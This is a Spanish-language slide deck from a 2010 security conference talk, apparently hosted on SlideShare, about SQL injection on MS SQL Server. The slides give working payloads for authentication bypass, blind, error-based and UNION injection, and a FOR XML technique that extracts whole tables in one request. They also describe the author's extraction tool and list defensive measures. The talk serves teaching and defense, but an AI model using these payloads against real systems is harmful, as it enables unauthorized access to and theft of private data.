SFX-SQLiSelect For Xml SQLinjection  /  Serialized SQL injectionExtracción rápida de información utilizando inyección SQL ...
Contenido<br />¿Qué es la inyección SQL?<br />Técnicas de inyección SQL clásicas<br />Serialización y la cláusula FOR XML<...
SQL injection<br />
¿Qué es la inyección SQL?<br />Vulnerabilidad de aplicaciones informáticas<br />Su origen está en el filtrado incorrecto o...
¿Qué es la inyección SQL?<br />5<br />ASP/PHP/JSP/...<br /><% <br />cmd = <br />"SELECT * FROM…"  <br />%><br />GET/<br />...
Ataques a la seguridad<br />Integridad: Borrado o corrupción de datos <br />UPDATE, DELETE, INSERT, DROP, ...<br />Disponi...
Inyección SQL básica<br />Usuario:<br />' or '1'='1<br />Contraseña:<br />' or '1'='1<br />"SELECT * FROMUsuarios WHERE no...
Inyección SQL básica<br />"SELECT * FROMUsuarios WHERE nombre='' or '1'='1' AND pass='' or '1'='1'"<br />La condición WHER...
Inyección SQL a ciegas<br />Booleanización: más eficiente con búsqueda binaria<br />EXISTS (SELECT … WHERE n < 128)  V<br...
Ejemplo: Absinthe<br />10<br />
Inyección SQL basada en errores<br />"SELECT * FROMAcceso WHERE usuario='' having 1=1--' AND pass='x'"<br />11<br />
Inyección SQL basada en errores<br />"SELECT * FROM Acceso WHERE usuario='' AND convert(int, system_user)>0--' AND pass='x...
Inyección SQL anexando datos<br />"SELECTid, asunto, fecha FROMNotas WHEREyear(fecha)=2010UNIONSELECT 0, login+'/'+pass, n...
La cláusula FOR XML<br />
FOR XML (MS SQL Server 2005/2008)<br />"SELECT * FROMNumeros"<br />"SELECT * FROMNumerosFOR XML RAW"<br />15<br />
Anexando una tabla en un campo<br />"SELECTasunto FROM Notas WHERE id=1 AND 1=0 UNIONSELECT(SELECT * FROMUsersFOR XML RAW)...
Sintaxis de FOR XML<br />FOR XML  { <br />{ RAW [ ( 'ElementName' ) ] | AUTO } <br />    [ <br />        <CommonDirectives...
Obtención del númerode columnas<br />
GROUPBY / HAVING 1=1<br />HAVING 1=1<br />Error (cuyo texto revela el nombre de la primera columna)<br />GROUPBYcolumna1HA...
ORDERBY N<br />ORDERBY 1<br />Sin errores<br />ORDERBY 2<br />Sin errores<br />...<br />ORDERBY N<br />Sin errores<br />OR...
UNIONNULL<br />UNIONSELECTnullWHERE 0=1<br />Falla<br />UNION SELECT null, null WHERE 0=1<br />Falla<br />UNION SELECT nul...
Obtención del tipode datos<br />
Obtención del tipo de datos<br />Basta con encontrar una columna de tipo texto<br />char, varchar, nvarchar, ...<br />Si m...
Juntando las piezas<br />
Extracción serializando datos<br />… AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM Tabla FOR XML RAW, BINARY BASE64), … ...
SFX-SQLiTool<br />
SFX-SQLiTool 1.0<br />Capaz de extraer tablas completas con una sola petición<br />Inyecciones GET y POST. SSL, cookies, p...
Novedades en SFX-SQLiTool 1.1<br />Acceso completo a otras bases de datos del mismo servidor a través de la master<br />Ej...
Medidas de protección<br />
Medidas de protección<br />Las de siempre: filtrar todas las entradas al gestor de bases de datos<br />Forzando la convers...
Medidas de protección<br />Utilizar los mecanismos de protección de la plataforma en la que estemos desarrollando<br />Con...
Descarga de la herramienta y más información en mi web: http://www.kachakil.com<br />Daniel Kachakil dani@kachakil.com<br ...
Próxima SlideShare
Cargando en…5
×

Asegúr@IT 7: Serialized SQL Injection

3.095 visualizaciones

Publicado el

Presentación impartida por Dani "The Doctor" Kachakil en el Asegúr@IT 7 que tuvo lugar en Barcelona, el 24 de Marzo de 2010.

Publicado en: Tecnología
0 comentarios
0 recomendaciones
Estadísticas
Notas
  • Sé el primero en comentar

  • Sé el primero en recomendar esto

Sin descargas
Visualizaciones
Visualizaciones totales
3.095
En SlideShare
0
De insertados
0
Número de insertados
1.082
Acciones
Compartido
0
Descargas
92
Comentarios
0
Recomendaciones
0
Insertados 0
No insertados

No hay notas en la diapositiva.

Asegúr@IT 7: Serialized SQL Injection

  1. 1. SFX-SQLiSelect For Xml SQLinjection / Serialized SQL injectionExtracción rápida de información utilizando inyección SQL con instrucciones XML<br />Daniel Kachakil<br />Asegur@IT 7<br />24/03/2010 – Barcelona<br />
  2. 2. Contenido<br />¿Qué es la inyección SQL?<br />Técnicas de inyección SQL clásicas<br />Serialización y la cláusula FOR XML<br />Obtención de columnas y tipos<br />Ajuste de la inyección<br />Ejemplos y demos<br />2<br />
  3. 3. SQL injection<br />
  4. 4. ¿Qué es la inyección SQL?<br />Vulnerabilidad de aplicaciones informáticas<br />Su origen está en el filtrado incorrecto o inexistente de los parámetros de entrada a la BD<br />Graves consecuencias: Cualquiera puede inyectar instrucciones SQL que terminan siendo ejecutadas por el motor de base de datos<br />4<br />
  5. 5. ¿Qué es la inyección SQL?<br />5<br />ASP/PHP/JSP/...<br /><% <br />cmd = <br />"SELECT * FROM…" <br />%><br />GET/<br />SGBD<br />SQL<br />POST<br />Datos<br />HTML<br />Pero no es exclusiva de aplicaciones web<br />
  6. 6. Ataques a la seguridad<br />Integridad: Borrado o corrupción de datos <br />UPDATE, DELETE, INSERT, DROP, ...<br />Disponibilidad: Denegación de servicio<br />SHUTDOWN, consultas complejas, exploits, ...<br />Confidencialidad: Acceso a datos privados<br />Bypass de autenticación (' or '1'='1)<br />A ciegas (Blind SQL injection) <br />A través de mensajes de error<br />Anexando otros conjuntos de datos<br />6<br />
  7. 7. Inyección SQL básica<br />Usuario:<br />' or '1'='1<br />Contraseña:<br />' or '1'='1<br />"SELECT * FROMUsuarios WHERE nombre='" + usuario + "' AND pass='" + contraseña + "'"<br />7<br />
  8. 8. Inyección SQL básica<br />"SELECT * FROMUsuarios WHERE nombre='' or '1'='1' AND pass='' or '1'='1'"<br />La condición WHERE siempre es cierta<br />Devuelve toda la tabla de usuarios<br />El primer registro suele coincidir con el del administrador<br />8<br />
  9. 9. Inyección SQL a ciegas<br />Booleanización: más eficiente con búsqueda binaria<br />EXISTS (SELECT … WHERE n < 128)  V<br />EXISTS (SELECT … WHERE n < 64)  V<br />EXISTS (SELECT … WHERE n < 32)  F<br />EXISTS (SELECT … WHERE n < 48)  V<br />EXISTS (SELECT … WHERE n < 40)  F<br />EXISTS (SELECT … WHERE n < 44)  F<br />EXISTS (SELECT … WHERE n < 46)  F<br />EXISTS (SELECT … WHERE n < 47)  V<br />Conclusión: n=46<br />9<br />
  10. 10. Ejemplo: Absinthe<br />10<br />
  11. 11. Inyección SQL basada en errores<br />"SELECT * FROMAcceso WHERE usuario='' having 1=1--' AND pass='x'"<br />11<br />
  12. 12. Inyección SQL basada en errores<br />"SELECT * FROM Acceso WHERE usuario='' AND convert(int, system_user)>0--' AND pass='x'"<br />12<br />
  13. 13. Inyección SQL anexando datos<br />"SELECTid, asunto, fecha FROMNotas WHEREyear(fecha)=2010UNIONSELECT 0, login+'/'+pass, nullFROMUsers"<br />13<br />
  14. 14. La cláusula FOR XML<br />
  15. 15. FOR XML (MS SQL Server 2005/2008)<br />"SELECT * FROMNumeros"<br />"SELECT * FROMNumerosFOR XML RAW"<br />15<br />
  16. 16. Anexando una tabla en un campo<br />"SELECTasunto FROM Notas WHERE id=1 AND 1=0 UNIONSELECT(SELECT * FROMUsersFOR XML RAW)"<br />16<br />
  17. 17. Sintaxis de FOR XML<br />FOR XML { <br />{ RAW [ ( 'ElementName' ) ] | AUTO } <br /> [ <br /> <CommonDirectives> <br /> [ , { XMLDATA | XMLSCHEMA [ ( 'TargetNameSpaceURI' ) ] } ] <br /> [ , ELEMENTS [ XSINIL | ABSENT ] <br /> ] | EXPLICIT … | PATH …<br />} <br /> <br /><CommonDirectives> ::= <br />[ , BINARY BASE64]<br />[ , TYPE ]<br />[ , ROOT [ ( 'RootName' ) ] ]<br />17<br />
  18. 18. Obtención del númerode columnas<br />
  19. 19. GROUPBY / HAVING 1=1<br />HAVING 1=1<br />Error (cuyo texto revela el nombre de la primera columna)<br />GROUPBYcolumna1HAVING 1=1<br />Error con el nombre de la segunda columna<br />GROUPBYcolumna1, columna2HAVING 1=1<br />Error con el nombre de la tercera columna<br />...<br />GROUPBYcolumna1, columna2, columna3, … , columnaNHAVING 1=1<br />Sin errores<br />19<br />
  20. 20. ORDERBY N<br />ORDERBY 1<br />Sin errores<br />ORDERBY 2<br />Sin errores<br />...<br />ORDERBY N<br />Sin errores<br />ORDERBYN+1<br />Falla (Ante el primer fallo probar más valores por si se tratara de un campo no ordenable. Ej: de tipo binary/varbinary)<br />20<br />
  21. 21. UNIONNULL<br />UNIONSELECTnullWHERE 0=1<br />Falla<br />UNION SELECT null, null WHERE 0=1<br />Falla<br />UNION SELECT null, null, null WHERE 0=1<br />Falla<br />...<br />UNION SELECT null, null, null, null, … , null WHERE 0=1<br />Sin errores<br />21<br />
  22. 22. Obtención del tipode datos<br />
  23. 23. Obtención del tipo de datos<br />Basta con encontrar una columna de tipo texto<br />char, varchar, nvarchar, ...<br />Si muestra errores: <br />CAST(), CONVERT()<br />En otro caso: <br />UNIONSELECTnull, null, 'a', null, null, ... [WHERE 1=0]<br />23<br />
  24. 24. Juntando las piezas<br />
  25. 25. Extracción serializando datos<br />… AND 1=0 UNION SELECT v1, v2, … , (SELECT * FROM Tabla FOR XML RAW, BINARY BASE64), … , vN<br />25<br />
  26. 26. SFX-SQLiTool<br />
  27. 27. SFX-SQLiTool 1.0<br />Capaz de extraer tablas completas con una sola petición<br />Inyecciones GET y POST. SSL, cookies, proxy, etc<br />Si las tablas son muy grandes, las puede segmentar<br />Implementa todas las técnicas descritas antes<br />Ayuda al descubrimiento de columnas y tipos<br />Deshace la codificación HTML automáticamente<br />Log de todo lo que inyecta y de las respuestas<br />Visualización en explorador integrado y código fuente<br />27<br />
  28. 28. Novedades en SFX-SQLiTool 1.1<br />Acceso completo a otras bases de datos del mismo servidor a través de la master<br />Ejecución de consultas personalizadas<br />Ajustes de configuración avanzada<br />Pequeñas mejoras y correcciones<br />28<br />
  29. 29. Medidas de protección<br />
  30. 30. Medidas de protección<br />Las de siempre: filtrar todas las entradas al gestor de bases de datos<br />Forzando la conversión de tipos para entradas numéricas<br />Filtrando o escapando los caracteres peligrosos para las cadenas de texto (comilla simple)<br />Siempre hacerlo en el servidor en última instancia (no confiar en JavaScript, Flash, Silverlight, etc)<br />30<br />
  31. 31. Medidas de protección<br />Utilizar los mecanismos de protección de la plataforma en la que estemos desarrollando<br />Consultas SQL parametrizadas, filtros predefinidos, etc.<br />Aplicar el principio de menor privilegio<br />Limita las consecuencias ante un ataque exitoso<br />No dar información detallada sobre los errores<br />“Contraseña incorrecta para el usuario usuario”<br />“Error al conectar con la base de datos mibasededatos”<br />Response.Write(ex.ToString()) en bloques Try - Catch<br />31<br />
  32. 32. Descarga de la herramienta y más información en mi web: http://www.kachakil.com<br />Daniel Kachakil dani@kachakil.com<br />¡Muchas gracias!<br />

×